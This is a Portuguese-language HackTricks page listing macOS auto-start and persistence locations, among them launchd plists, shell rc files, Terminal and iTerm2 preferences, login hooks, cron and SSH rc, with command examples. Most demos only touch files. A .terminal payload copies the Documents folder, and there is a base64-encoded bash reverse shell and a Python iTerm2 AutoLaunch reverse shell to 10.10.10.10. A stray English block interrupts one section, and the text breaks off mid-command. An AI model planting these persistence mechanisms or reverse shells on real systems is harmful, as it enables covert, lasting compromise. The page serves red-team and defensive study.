macOS Auto Start

Apoie o HackTricks

Esta seção é fortemente baseada na série de blogs Além dos bons e velhos LaunchAgents, o objetivo é adicionar mais Locais de Auto Inicialização (se possível), indicar quais técnicas ainda estão funcionando atualmente com a última versão do macOS (13.4) e especificar as permissões necessárias.

Bypass de Sandbox

Aqui você pode encontrar locais de inicialização úteis para burlar a sandbox que permite simplesmente executar algo escrevendo em um arquivo e aguardando por uma ação muito comum, um determinado período de tempo ou uma ação que você normalmente pode realizar de dentro de uma sandbox sem precisar de permissões de root.

Launchd

  • Útil para burlar a sandbox:

  • Bypass TCC: 🔴

Locais

  • /Library/LaunchAgents

  • Gatilho: Reinicialização

  • Root necessário

  • /Library/LaunchDaemons

  • Gatilho: Reinicialização

  • Root necessário

  • /System/Library/LaunchAgents

  • Gatilho: Reinicialização

  • Root necessário

  • /System/Library/LaunchDaemons

  • Gatilho: Reinicialização

  • Root necessário

  • ~/Library/LaunchAgents

  • Gatilho: Reentrada

  • ~/Library/LaunchDemons

  • Gatilho: Reentrada

Como fato interessante, launchd possui uma lista de propriedades incorporada na seção Mach-o __Text.__config que contém outros serviços conhecidos que o launchd deve iniciar. Além disso, esses serviços podem conter o RequireSuccess, RequireRun e RebootOnSuccess que significa que eles devem ser executados e concluídos com sucesso.

Obviamente, não pode ser modificado devido à assinatura de código.

Descrição e Exploração

launchd é o primeiro processo executado pelo kernel do macOS na inicialização e o último a ser encerrado no desligamento. Ele sempre deve ter o PID 1. Esse processo irá ler e executar as configurações indicadas nos plists do ASEP em:

  • /Library/LaunchAgents: Agentes por usuário instalados pelo administrador

  • /Library/LaunchDaemons: Daemons em todo o sistema instalados pelo administrador

  • /System/Library/LaunchAgents: Agentes por usuário fornecidos pela Apple.

  • /System/Library/LaunchDaemons: Daemons em todo o sistema fornecidos pela Apple.

Quando um usuário faz login, os plists localizados em /Users/$USER/Library/LaunchAgents e /Users/$USER/Library/LaunchDemons são iniciados com as permissões dos usuários logados.

A principal diferença entre agentes e daemons é que os agentes são carregados quando o usuário faz login e os daemons são carregados na inicialização do sistema (pois existem serviços como ssh que precisam ser executados antes que qualquer usuário acesse o sistema). Além disso, os agentes podem usar a GUI enquanto os daemons precisam ser executados em segundo plano.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Existem casos em que um agente precisa ser executado antes do login do usuário, esses são chamados de PreLoginAgents. Por exemplo, isso é útil para fornecer tecnologia assistiva no login. Eles também podem ser encontrados em /Library/LaunchAgents (veja aqui um exemplo).

Novos arquivos de configuração de Daemons ou Agents serão carregados após o próximo reinício ou usando launchctl load <target.plist> Também é possível carregar arquivos .plist sem a extensão com launchctl -F <file> (no entanto, esses arquivos plist não serão carregados automaticamente após o reinício). Também é possível descarregar com launchctl unload <target.plist> (o processo apontado por ele será encerrado).

Para garantir que não haja nada (como uma substituição) impedindo um Agente ou Daemon de ser executado, execute: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

Liste todos os agentes e daemons carregados pelo usuário atual:

launchctl list

Se um plist pertence a um usuário, mesmo que esteja em pastas de sistema de daemon, a tarefa será executada como o usuário e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios.

Mais informações sobre launchd

launchd é o primeiro processo do modo de usuário que é iniciado a partir do kernel. O início do processo deve ser bem-sucedido e ele não pode sair ou falhar. Ele é até protegido contra alguns sinais de interrupção.

Uma das primeiras coisas que o launchd faria é iniciar todos os daemons como:

  • Daemons de temporizador baseados no tempo a serem executados:

    • atd (com.apple.atrun.plist): Tem um StartInterval de 30 minutos

    • crond (com.apple.systemstats.daily.plist): Tem StartCalendarInterval para iniciar às 00:15

  • Daemons de rede como:

    • org.cups.cups-lpd: Escuta em TCP (SockType: stream) com SockServiceName: printer

    • SockServiceName deve ser uma porta ou um serviço de /etc/services

    • com.apple.xscertd.plist: Escuta em TCP na porta 1640

  • Daemons de caminho que são executados quando um caminho especificado muda:

    • com.apple.postfix.master: Verificando o caminho /etc/postfix/aliases

  • Daemons de notificações IOKit:

    • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...

  • Porta Mach:

    • com.apple.xscertd-helper.plist: Indica na entrada MachServices o nome com.apple.xscertd.helper

  • UserEventAgent:

    • Isso é diferente do anterior. Ele faz o launchd gerar aplicativos em resposta a eventos específicos. No entanto, neste caso, o binário principal envolvido não é launchd, mas /usr/libexec/UserEventAgent. Ele carrega plugins da pasta restrita pelo SIP /System/Library/UserEventPlugins/, onde cada plugin indica seu inicializador na chave XPCEventModuleInitializer ou, no caso de plugins mais antigos, no dicionário CFPluginFactories sob a chave FB86416D-6164-2070-726F-70735C216EC0 de seu Info.plist.

Arquivos de inicialização do shell

Descrição: https://theevilbit.github.io/beyond/beyond_0001/ Descrição (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Útil para contornar a sandbox:

  • Contorno do TCC:

  • Mas você precisa encontrar um aplicativo com um contorno do TCC que execute um shell que carregue esses arquivos

Localizações

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

    • Gatilho: Abrir um terminal com zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

    • Gatilho: Abrir um terminal com zsh

    • Requer privilégios de root

  • ~/.zlogout

    • Gatilho: Sair de um terminal com zsh

  • /etc/zlogout

    • Gatilho: Sair de um terminal com zsh

    • Requer privilégios de root

  • Potencialmente mais em: man zsh

  • ~/.bashrc

    • Gatilho: Abrir um terminal com bash

  • /etc/profile (não funcionou)

  • ~/.profile (não funcionou)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

    • Gatilho: Esperado para ser acionado com xterm, mas não está instalado e mesmo após instalado esse erro é exibido: xterm: DISPLAY is not set

Descrição & Exploração

Ao iniciar um ambiente de shell como zsh ou bash, certos arquivos de inicialização são executados. Atualmente, o macOS usa /bin/zsh como o shell padrão. Esse shell é acessado automaticamente quando o aplicativo Terminal é iniciado ou quando um dispositivo é acessado via SSH. Embora bash e sh também estejam presentes no macOS, eles precisam ser explicitamente invocados para serem usados.

A página de manual do zsh, que podemos ler com man zsh, tem uma descrição longa dos arquivos de inicialização.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Aplicações Reabertas

Configurar a exploração indicada e fazer logout e login ou até mesmo reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • Útil para contornar a sandbox:

  • Bypass TCC: 🔴

Localização

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Gatilho: Reiniciar a abertura de aplicativos

Descrição e Exploração

Todas as aplicações a serem reabertas estão dentro do plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Portanto, para fazer com que as aplicações reabram seu próprio aplicativo, você só precisa adicionar seu aplicativo à lista.

O UUID pode ser encontrado listando esse diretório ou com ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Para verificar as aplicações que serão reabertas, você pode fazer:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Para adicionar um aplicativo a esta lista, você pode usar:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Preferências do Terminal

  • Útil para contornar a sandbox:

  • Bypass do TCC:

  • O Terminal usa permissões do FDA se o usuário o utilizar

Localização

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Gatilho: Abrir o Terminal

Descrição e Exploração

Em ~/Library/Preferences são armazenadas as preferências do usuário nas Aplicações. Algumas dessas preferências podem conter uma configuração para executar outras aplicações/scripts.

Por exemplo, o Terminal pode executar um comando na inicialização:

Essa configuração é refletida no arquivo ~/Library/Preferences/com.apple.Terminal.plist assim:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Portanto, se o plist das preferências do terminal no sistema puder ser sobrescrito, então a funcionalidade open pode ser usada para abrir o terminal e executar esse comando.

Você pode adicionar isso a partir da linha de comando com:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Scripts do Terminal / Outras extensões de arquivo

  • Útil para contornar a sandbox:

  • Contorno do TCC:

  • Terminal usado para ter permissões do FDA se o usuário o usar

Localização

  • Qualquer lugar

  • Gatilho: Abrir Terminal

Descrição e Exploração

Se você criar um script .terminal e abri-lo, o aplicativo Terminal será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como TCC), seu comando será executado com esses privilégios especiais.

Experimente com:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Extensões de Áudio

Descrição: https://theevilbit.github.io/beyond/beyond_0013/ Descrição: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Útil para contornar a sandbox:

  • Bypass TCC: 🟠

  • Você pode obter acesso extra ao TCC

Localização

  • /Library/Audio/Plug-Ins/HAL

  • Requer privilégios de root

  • Gatilho: Reiniciar o coreaudiod ou o computador

  • /Library/Audio/Plug-ins/Components

  • Requer privilégios de root

  • Gatilho: Reiniciar o coreaudiod ou o computador

  • ~/Library/Audio/Plug-ins/Components

  • Gatilho: Reiniciar o coreaudiod ou o computador

  • /System/Library/Components

  • Requer privilégios de root

  • Gatilho: Reiniciar o coreaudiod ou o computador

Descrição

De acordo com as descrições anteriores, é possível compilar alguns plugins de áudio e carregá-los.

Extensões QuickLook

Descrição: https://theevilbit.github.io/beyond/beyond_0028/

  • Útil para contornar a sandbox:

  • Bypass TCC: 🟠

  • Você pode obter acesso extra ao TCC

Localização

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/NomeDoAplicativo/Aplicativo/Conteúdo/Biblioteca/QuickLook/

  • ~/Applications/NomeDoAplicativo/Aplicativo/Conteúdo/Biblioteca/QuickLook/

Descrição & Exploração

As extensões QuickLook podem ser executadas quando você aciona a visualização de um arquivo (pressione a barra de espaço com o arquivo selecionado no Finder) e um plugin que suporta esse tipo de arquivo está instalado.

É possível compilar sua própria extensão QuickLook, colocá-la em uma das localizações anteriores para carregá-la e depois ir para um arquivo suportado e pressionar espaço para ativá-la.

Ganchos de Login/Logout

Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root

Descrição: https://theevilbit.github.io/beyond/beyond_0022/

  • Útil para contornar a sandbox:

  • Bypass TCC: 🔴

Localização

  • Você precisa ser capaz de executar algo como defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

  • Localizado em ~/Library/Preferences/com.apple.loginwindow.plist

Eles estão obsoletos, mas podem ser usados para executar comandos quando um usuário faz login.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Esta configuração é armazenada em /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Para deletar:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

O usuário root é armazenado em /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Bypass Condicional de Sandbox

Aqui você pode encontrar locais de inicialização úteis para burlar a sandbox que permite que você simplesmente execute algo escrevendo em um arquivo e não esperando condições super comuns como programas específicos instalados, ações de usuário "pouco comuns" ou ambientes.

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Útil para burlar a sandbox:

  • No entanto, você precisa ser capaz de executar o binário crontab

  • Ou ser root

  • Bypass TCC: 🔴

Localização

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Root necessário para acesso direto de escrita. Root não é necessário se você puder executar crontab <arquivo>

  • Gatilho: Depende do trabalho cron

Descrição e Exploração

Liste os trabalhos cron do usuário atual com:

crontab -l

Você também pode ver todos os trabalhos cron dos usuários em /usr/lib/cron/tabs/ e /var/at/tabs/ (necessita de permissão de root).

No MacOS, várias pastas que executam scripts com certa frequência podem ser encontradas em:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Aqui você pode encontrar os trabalhos cron regulares, os trabalhos at (não muito usados) e os trabalhos periódicos (principalmente usados para limpar arquivos temporários). Os trabalhos periódicos diários podem ser executados, por exemplo, com: periodic daily.

Para adicionar um trabalho cron de usuário programaticamente, é possível usar:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Descrição: https://theevilbit.github.io/beyond/beyond_0002/

  • Útil para contornar a sandbox:

  • Bypass TCC:

  • iTerm2 costumava ter permissões TCC concedidas

Localizações

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Gatilho: Abrir iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Gatilho: Abrir iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Gatilho: Abrir iTerm

Descrição e Exploração

Scripts armazenados em ~/Library/Application Support/iTerm2/Scripts/AutoLaunch serão executados. Por exemplo:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run processes when a user logs in. They are located in ~/Library/LaunchAgents/ and /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run processes at system boot or login. They are located in /Library/LaunchDaemons/ and /System/Library/LaunchDaemons/.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

O script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt também será executado:

do shell script "touch /tmp/iterm2-autolaunchscpt"

O arquivo de preferências do iTerm2 localizado em ~/Library/Preferences/com.googlecode.iterm2.plist pode indicar um comando a ser executado quando o terminal iTerm2 é aberto.

Essa configuração pode ser feita nas configurações do iTerm2:

E o comando é refletido nas preferências:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Você pode definir o comando a ser executado com:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Altamente provável que existam outras maneiras de abusar das preferências do iTerm2 para executar comandos arbitrários.

xbar

Descrição: https://theevilbit.github.io/beyond/beyond_0007/

  • Útil para contornar a sandbox:

  • Mas o xbar deve estar instalado

  • Bypass do TCC:

  • Ele solicita permissões de Acessibilidade

Localização

  • ~/Library/Application\ Support/xbar/plugins/

  • Gatilho: Uma vez que o xbar é executado

Descrição

Se o programa popular xbar estiver instalado, é possível escrever um script shell em ~/Library/Application\ Support/xbar/plugins/ que será executado quando o xbar for iniciado:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Descrição: https://theevilbit.github.io/beyond/beyond_0008/

  • Útil para contornar a sandbox:

  • Mas o Hammerspoon deve estar instalado

  • Bypass do TCC:

  • Requer permissões de Acessibilidade

Localização

  • ~/.hammerspoon/init.lua

  • Gatilho: Uma vez que o Hammerspoon é executado

Descrição

Hammerspoon atua como uma plataforma de automação para o macOS, aproveitando a linguagem de script LUA para suas operações. Notavelmente, ele suporta a integração de código completo em AppleScript e a execução de scripts de shell, aprimorando significativamente suas capacidades de script.

O aplicativo procura por um único arquivo, ~/.hammerspoon/init.lua, e quando iniciado, o script será executado.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Útil para contornar a sandbox:

  • Mas o BetterTouchTool deve estar instalado

  • Bypass do TCC:

  • Solicita permissões de Automação-Atalhos e Acessibilidade

Localização

  • ~/Library/Application Support/BetterTouchTool/*

Esta ferramenta permite indicar aplicativos ou scripts para executar quando alguns atalhos são pressionados. Um atacante pode configurar seu próprio atalho e ação para executar no banco de dados para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla).

Alfred

  • Útil para contornar a sandbox:

  • Mas o Alfred deve estar instalado

  • Bypass do TCC:

  • Solicita permissões de Automação, Acessibilidade e até acesso total ao disco

Localização

  • ???

Permite criar fluxos de trabalho que podem executar código quando certas condições são atendidas. Potencialmente, é possível para um atacante criar um arquivo de fluxo de trabalho e fazer o Alfred carregá-lo (é necessário pagar pela versão premium para usar fluxos de trabalho).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Útil para contornar a sandbox:

  • Mas o ssh precisa estar habilitado e em uso

  • Bypass do TCC:

  • SSH costumava ter acesso total ao FDA

Localização

  • ~/.ssh/rc

  • Gatilho: Login via ssh

  • /etc/ssh/sshrc

  • Requer privilégios de root

  • Gatilho: Login via ssh

Para ligar o ssh, é necessário Acesso Total ao Disco:

sudo systemsetup -setremotelogin on

Descrição & Exploração

Por padrão, a menos que PermitUserRC no em /etc/ssh/sshd_config, quando um usuário faz login via SSH os scripts /etc/ssh/sshrc e ~/.ssh/rc serão executados.

Itens de Login

Descrição: https://theevilbit.github.io/beyond/beyond_0003/

  • Útil para contornar a sandbox:

  • Mas você precisa executar osascript com argumentos

  • Bypass TCC: 🔴

Localizações

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Gatilho: Login

  • Payload de exploração armazenado chamando osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Gatilho: Login

  • Requer privilégios de root

Descrição

Em Preferências do Sistema -> Usuários e Grupos -> Itens de Login você pode encontrar itens a serem executados quando o usuário faz login. É possível listá-los, adicionar e remover a partir da linha de comando:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application &quo